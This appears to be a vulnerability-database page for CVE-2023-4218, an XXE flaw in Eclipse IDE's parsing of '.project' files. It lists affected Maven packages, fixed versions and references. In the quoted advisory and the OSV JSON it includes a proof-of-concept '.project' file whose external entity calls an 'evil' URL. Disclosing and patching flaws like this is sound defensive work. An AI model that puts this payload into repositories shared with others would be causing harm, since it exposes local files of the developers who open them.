Vulnerabilities in pkg:maven/org.eclipse.platform/org.eclipse.ui.workbench

PACKAGE
Advisory Identifier: GHSA-j24h-xcpc-9jw8
Advisory Summary

CVE-2023-4218 is a MODERATE (CVSS 5.0) eclipse ide xxe vulnerability (General Security Weakness) affecting Org.eclipse.core.runtime libraries in the Maven ecosystem. The issue involves eclipse ide xxe in eclipse.platform. Remediation is available by upgrading affected packages to version 3.29.0, 4.29.0, 3.31.0, 3.13.0, 3.21.100, 3.130.0, 1.3.100, 3.30.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/org.eclipse.platform/org.eclipse.ui.workbench

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/org.eclipse.platform/org.eclipse.ui.workbench. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-j24h-xcpc-9jw8 CVE-2023-4218 MODERATE Eclipse IDE XXE in eclipse.platform

CVE-2023-4218 at a Glance

CVE Identifier CVE-2023-4218
GHSA Identifier GHSA-j24h-xcpc-9jw8
Severity MODERATE
CVSS v3.1 Base Score 5.0
CWE Classification General Security Weakness
Affected Product Org.eclipse.core.runtime
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 5.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2023-4218

To remediate this vulnerability, upgrade all affected Org.eclipse.core.runtime dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.eclipse.platform:org.eclipse.core.runtime fixed: 3.29.0
<dependency>
    <groupId>org.eclipse.platform</groupId>
    <artifactId>org.eclipse.core.runtime</artifactId>
    <version>3.29.0</version>
</dependency>
org.eclipse.platform:org.eclipse.platform fixed: 4.29.0
<dependency>
    <groupId>org.eclipse.platform</groupId>
    <artifactId>org.eclipse.platform</artifactId>
    <version>4.29.0</version>
</dependency>
org.eclipse.platform:org.eclipse.jface fixed: 3.31.0
<dependency>
    <groupId>org.eclipse.platform</groupId>
    <artifactId>org.eclipse.jface</artifactId>
    <version>3.31.0</version>
</dependency>
org.eclipse.platform:org.eclipse.ui.forms fixed: 3.13.0
<dependency>
    <groupId>org.eclipse.platform</groupId>
    <artifactId>org.eclipse.ui.forms</artifactId>
    <version>3.13.0</version>
</dependency>
org.eclipse.platform:org.eclipse.ui.ide fixed: 3.21.100
<dependency>
    <groupId>org.eclipse.platform</groupId>
    <artifactId>org.eclipse.ui.ide</artifactId>
    <version>3.21.100</version>
</dependency>
org.eclipse.platform:org.eclipse.ui.workbench fixed: 3.130.0
<dependency>
    <groupId>org.eclipse.platform</groupId>
    <artifactId>org.eclipse.ui.workbench</artifactId>
    <version>3.130.0</version>
</dependency>
org.eclipse.platform:org.eclipse.urischeme fixed: 1.3.100
<dependency>
    <groupId>org.eclipse.platform</groupId>
    <artifactId>org.eclipse.urischeme</artifactId>
    <version>1.3.100</version>
</dependency>
org.eclipse.jdt:org.eclipse.jdt.ui fixed: 3.30.0
<dependency>
    <groupId>org.eclipse.jdt</groupId>
    <artifactId>org.eclipse.jdt.ui</artifactId>
    <version>3.30.0</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.eclipse.platform

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2023-4218, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.eclipse.platform

Analyze the terminal output to locate any version of Org.eclipse.core.runtime in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.29.0), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.eclipse.platform command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under General Security Weakness. In Org.eclipse.core.runtime, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact xml files like ".project" are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review a foreign repository or patch). Vulnerablility was found by static code analysis (SonarLint). Example `.project` file: ``` <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE price [ <!ENTITY xxe SYSTEM "http://127.0.0.1:49416/evil">]> <projectDescription> <name>p</name> <comment>&xxe;</comment> </projectDescription> ``` ### Patches Similar patches including junit test that shows the vulnerability have already applied to PDE (see https://github.com/eclipse-pde/eclipse.pde/pull/667). A solution to platform should be the same: just reject parsing any XML that contains any `DOCTYPE`. ### Workarounds No known workaround. User can only avoid to get/open any foreign files with eclipse. Firewall rules against loss of data (but not against XML bomb). ### References https://cwe.mitre.org/data/definitions/611.html https://rules.sonarsource.com/java/RSPEC-2755 https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8 (Report for multiple projects affected)

CVE-2023-4218 Affected Org.eclipse.core.runtime Versions

8 component(s)
Fixed Versions:
3.29.04.29.03.31.03.13.03.21.1003.130.01.3.1003.30.0
Product / Package Ecosystem Affected Versions Fixed Version
org.eclipse.platform:org.eclipse.core.runtime
Maven
< 3.29.0
3.29.0
org.eclipse.platform:org.eclipse.platform
Maven
< 4.29.0
4.29.0
org.eclipse.platform:org.eclipse.jface
Maven
< 3.31.0
3.31.0
org.eclipse.platform:org.eclipse.ui.forms
Maven
< 3.13.0
3.13.0
org.eclipse.platform:org.eclipse.ui.ide
Maven
< 3.21.100
3.21.100
org.eclipse.platform:org.eclipse.ui.workbench
Maven
< 3.130.0
3.130.0
org.eclipse.platform:org.eclipse.urischeme
Maven
< 1.3.100
1.3.100
org.eclipse.jdt:org.eclipse.jdt.ui
Maven
< 3.30.0
3.30.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/eclipse-platform/eclipse.platform/security/advisories/GHSA-j24h-xcpc-9jw8
NVD — CVE-2023-4218 NVD
https://nvd.nist.gov/vuln/detail/CVE-2023-4218
Org.eclipse.core.runtime Source Repository REPOSITORY
https://github.com/eclipse-emf/org.eclipse.emf/issues/10
Org.eclipse.core.runtime Source Repository REPOSITORY
https://github.com/eclipse-pde/eclipse.pde/pull/632
Org.eclipse.core.runtime Source Repository REPOSITORY
https://github.com/eclipse-pde/eclipse.pde/pull/667
Org.eclipse.core.runtime Source Repository REPOSITORY
https://github.com/eclipse-platform/eclipse.platform.releng.buildtools/pull/45
Org.eclipse.core.runtime Source Repository REPOSITORY
https://github.com/eclipse-platform/eclipse.platform/pull/761
Security Fix Commit FIX COMMIT
https://github.com/eclipse-cdt/cdt/commit/c7169b3186d2fef20f97467c3e2ad78e2943ed1b
Security Fix Commit FIX COMMIT
https://github.com/eclipse-jdt/eclipse.jdt.core/commit/38dd2a878f45cdb3d8d52090f1d6d1b532fd4c4d
Security Fix Commit FIX COMMIT
https://github.com/eclipse-jdt/eclipse.jdt.ui/commit/13675b1f8a74f47de4da89ed0ded6af7c21dfbec
Security Fix Commit FIX COMMIT
https://github.com/eclipse-platform/eclipse.platform.swt/commit/bf71db5ddcb967c0863dad4745367b54f49e06ba
Security Fix Commit FIX COMMIT
https://github.com/eclipse-platform/eclipse.platform.ui/commit/f243cf0a28785b89b7c50bf4e1cce48a917d89bd
Security Fix Commit FIX COMMIT
https://github.com/eclipse-platform/eclipse.platform/commit/5dc372a0c5002b7f22e5d49eaa1cbf0916455daf
Org.eclipse.core.runtime Source Repository REPOSITORY
https://github.com/eclipse-platform/eclipse.platform
Org.eclipse.core.runtime Security Information SECURITY
https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8

Frequently Asked Questions

What is CVE-2023-4218?
CVE-2023-4218 is a security vulnerability in Org.eclipse.core.runtime involving Eclipse IDE XXE in eclipse.platform under General Security Weakness.
Which Org.eclipse.core.runtime versions are affected?
Affected versions include releases prior to 3.29.0, 4.29.0, 3.31.0, 3.13.0, 3.21.100, 3.130.0, 1.3.100, 3.30.0 across affected packages: org.eclipse.platform:org.eclipse.core.runtime, org.eclipse.platform:org.eclipse.platform, org.eclipse.platform:org.eclipse.jface, org.eclipse.platform:org.eclipse.ui.forms, org.eclipse.platform:org.eclipse.ui.ide, org.eclipse.platform:org.eclipse.ui.workbench, org.eclipse.platform:org.eclipse.urischeme, org.eclipse.jdt:org.eclipse.jdt.ui.
What version fixes CVE-2023-4218?
Upgrading to 3.29.0, 4.29.0, 3.31.0, 3.13.0, 3.21.100, 3.130.0, 1.3.100, 3.30.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is org.eclipse.core.runtime affected?
Yes, org.eclipse.platform:org.eclipse.core.runtime is affected in releases prior to 3.29.0. Upgrade your dependency to 3.29.0 or later.
Is org.eclipse.platform affected?
Yes, org.eclipse.platform:org.eclipse.platform is affected in releases prior to 4.29.0. Upgrade your dependency to 4.29.0 or later.
What is the CVSS score of CVE-2023-4218?
CVE-2023-4218 has a CVSS v3.1 base score of 5.0 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2023-4218?
CVE-2023-4218 is classified under General Security Weakness.
How can I check Maven dependencies for CVE-2023-4218?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.eclipse.platform'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j24h-xcpc-9jw8",
  "modified" : "2024-03-05T21:36:55Z",
  "published" : "2023-11-30T19:52:54Z",
  "aliases" : [ "CVE-2023-4218" ],
  "summary" : "Eclipse IDE XXE in eclipse.platform",
  "details" : "### Impact\nxml files like \".project\" are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review  a foreign repository or patch).\n\nVulnerablility was found by static code analysis (SonarLint).\n\nExample `.project` file:\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<!DOCTYPE price [\n<!ENTITY xxe SYSTEM \"http://127.0.0.1:49416/evil\">]>\n<projectDescription>\n\t<name>p</name>\n\t<comment>&xxe;</comment>\n</projectDescription>\n```\n\n### Patches\nSimilar patches including junit test that shows the vulnerability have already applied to PDE (see https://github.com/eclipse-pde/eclipse.pde/pull/667). A solution to platform should be the same: just reject parsing any XML that contains any `DOCTYPE`.\n\n### Workarounds\nNo known workaround. User can only avoid to get/open any foreign files with eclipse. Firewall rules against loss of data (but not against XML bomb).\n\n### References\nhttps://cwe.mitre.org/data/definitions/611.html\nhttps://rules.sonarsource.com/java/RSPEC-2755\nhttps://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8 (Report for multiple projects affected)\n\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.eclipse.platform:org.eclipse.core.runtime"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.29.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.eclipse.platform:org.eclipse.platform"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.29.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.eclipse.platform:org.eclipse.jface"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.31.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.eclipse.platform:org.eclipse.ui.forms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.13.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.eclipse.platform:org.eclipse.ui.ide"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.21.100"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.eclipse.platform:org.eclipse.ui.workbench"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.130.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.eclipse.platform:org.eclipse.urischeme"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.3.100"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.eclipse.jdt:org.eclipse.jdt.ui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.30.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-platform/eclipse.platform/security/advisories/GHSA-j24h-xcpc-9jw8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-4218"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-emf/org.eclipse.emf/issues/10"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-pde/eclipse.pde/pull/632"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-pde/eclipse.pde/pull/667"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-platform/eclipse.platform.releng.buildtools/pull/45"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-platform/eclipse.platform/pull/761"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-cdt/cdt/commit/c7169b3186d2fef20f97467c3e2ad78e2943ed1b"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-jdt/eclipse.jdt.core/commit/38dd2a878f45cdb3d8d52090f1d6d1b532fd4c4d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-jdt/eclipse.jdt.ui/commit/13675b1f8a74f47de4da89ed0ded6af7c21dfbec"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-platform/eclipse.platform.swt/commit/bf71db5ddcb967c0863dad4745367b54f49e06ba"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-platform/eclipse.platform.ui/commit/f243cf0a28785b89b7c50bf4e1cce48a917d89bd"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eclipse-platform/eclipse.platform/commit/5dc372a0c5002b7f22e5d49eaa1cbf0916455daf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/eclipse-platform/eclipse.platform"
  }, {
    "type" : "WEB",
    "url" : "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-11-30T19:52:54Z",
    "nvd_published_at" : null
  }
}